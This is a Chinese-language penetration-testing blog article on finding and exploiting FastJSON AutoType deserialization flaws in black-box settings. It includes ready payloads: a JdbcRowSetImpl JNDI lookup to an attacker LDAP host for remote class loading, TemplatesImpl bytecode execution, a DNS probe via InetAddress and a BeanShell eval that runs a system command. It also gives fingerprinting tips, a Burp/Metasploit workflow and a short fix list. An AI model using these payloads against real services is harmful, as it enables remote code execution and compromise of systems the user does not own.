渗透测试实战:FastJSON漏洞如何在黑盒场景中精准触发?

渗透测试实战:FastJSON漏洞如何在黑盒场景中精准触发?

原创 火力猫 季升安全 2025-04-24 00:15

🧨 FastJSON 渗透实战指南

1️⃣ 什么是 FastJSON?

FastJSON 是阿里巴巴开源的一款高性能 Java JSON 解析库,用于将 JSON 字符串转换为 Java 对象,或将 Java 对象序列化为 JSON。

👉 开发者最常用的方法

Object obj = JSON.parse(json); // 动态解析,关键点!

JSON.parse的安全隐患分析详情
👉 一文看懂 JSON.parse 背后的安全隐患与黑盒利用方法

2️⃣ FastJSON 漏洞产生原因

🚨 问题核心:AutoType 自动类型识别

当传入如下 JSON:

{"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://attacker.com:1389/Exploit","autoCommit": true}

若 AutoType 功能未禁用
,FastJSON 会尝试加载并实例化你指定的类。攻击者可以构造恶意类,实现远程代码执行(RCE)!

🧯 正常业务场景根本不需要 @type,但若未做限制,就容易被利用。

3️⃣ 怎么发现可利用点呢?

观察报错信息:

关键词 意义
com.alibaba.fastjson FastJSON 类路径
com.alibaba.fastjson.JSONException JSON 解析异常
AutoType is not support 禁用 AutoType 提示
Could not auto-type class 尝试加载类失败,典型 FastJSON 错误
parseObject / parseArray 方法堆栈中可能出现
ClassNotFoundException + @type 尝试加载不存在类(典型探测响应)

报错信息示例:

{"error": {"message": "Could not auto-type class","type": "com.alibaba.fastjson.JSONException"  }}

✅ API 特征分析:

1. 参数中出现原始 JSON 字符串字段

{"payload": "{\"a\":1,\"b\":2}"// 👈 明显是服务端要 parse 的}

🔍 说明
:开发者常将嵌套 JSON 作为字符串参数传给后端,然后用 JSON.parse(payload)
 解析。

2. 接口直接接收 JSON 并返回原样结构

POST /api/echoContent-Type: application/json{"name": "Alice","age": 23}

响应:

{"code": 0,"data": {"name": "Alice","age": 23  }}

🎯 分析:接口对原始 JSON 做了结构化处理再输出,可能使用了 parseObject()

3. 接口响应字段中回显了传入的结构(比如 @type)

输入:

{ "@type":"www.geekserver.top" }

响应回显:

{ "@type": "www.geekserver.top" }

🔍 说明服务端未做结构过滤,可能直接使用了 JSONObject
 存储处理用户输入。

👉当参数字段名中出现data、config、json、payload 就应该引起注意

✅ 响应行为分析:

  • 请求中加入 @type
     字段后,如果有下面特征,就需要进一步分析:

  • 直接回显

  • 报错有类名或堆栈信息

  • 响应时间明显变慢(sleep 链)

  • DNS 有请求(URL/DNS 测试)

4️⃣ 漏洞利用方式

📍 利用方式一:JNDI 回连

{"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://attacker.com:1389/Exploit","autoCommit": true}
  • ✅ 原理:

  • setDataSourceName()
     内部会调用 connect()

  • 在 autoCommit=true
     时触发 JNDI 查询 → 远程类加载 → RCE

  • 🎯关注点:

  • 确认 autoCommit
     字段被调用

  • 确认LDAP 服务端返回恶意 class

  • 🔥 结果:RCE 或 LDAP 服务器收到回连

📍 利用方式二:TemplatesImpl RCE

{"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","transletBytecodes": ["<恶意字节码 base64>"],"transletName": "a","outputProperties": {}}
  • ✅ 原理:类加载器会执行字节码静态块,具体:

  • newTemplates()
     时会加载并实例化 bytecode 中的类

  • bytecode 中可植入静态块执行任意命令

  • 🔥 结果:直接 RCE

📍 利用方式三:DNS 盲注

{"@type": "java.net.InetAddress","val": "www.geekserver.top"}
  • ✅ 原理:FastJSON 反序列化InetAddress.getByName()
     触发 DNS 请求

  • 🔥 结果:在无回显环境中判断漏洞存在

FastJSON无回显探测 
👉 DNS 一响,漏洞登场!FastJSON 不出网探测全攻略

📍 利用方式四:BeanShell 执行脚本

{"@type":"bsh.BeanShell","name": "geekserver.top","eval": "java.lang.Runtime.getRuntime().exec('id').toString()"}
  • ✅ 前提:服务端有 BeanShell

  • 🔍 原理:bsh.BeanShell
     在 eval()
     时直接执行脚本

  • 🔥 结果:直接命令执行(某些旧系统)

5️⃣ 总结

步骤
操作
工具
🎯 收集
Burp 抓包,分析响应结构、错误信息
Burp Suite
🔍 探测
插入 {"@type":"xxx"} 逐步 fuzz
Burp Intruder
📡 验证
DNS、回连、延迟判断
DNSLog、JNDI 工具
💥 利用
发送 Payload,触发命令执行
LDAP 服务器、Metasploit
🧪 取证
回连日志、系统变更、回显信息
Burp Logger、日志分析

🛡️ 修复建议:

  • 关闭 AutoType:ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

  • 若必须开启,严格配置白名单:addAccept(“com.safe.package.”)

  • 不使用 JSON.parse()
    ,应指定明确类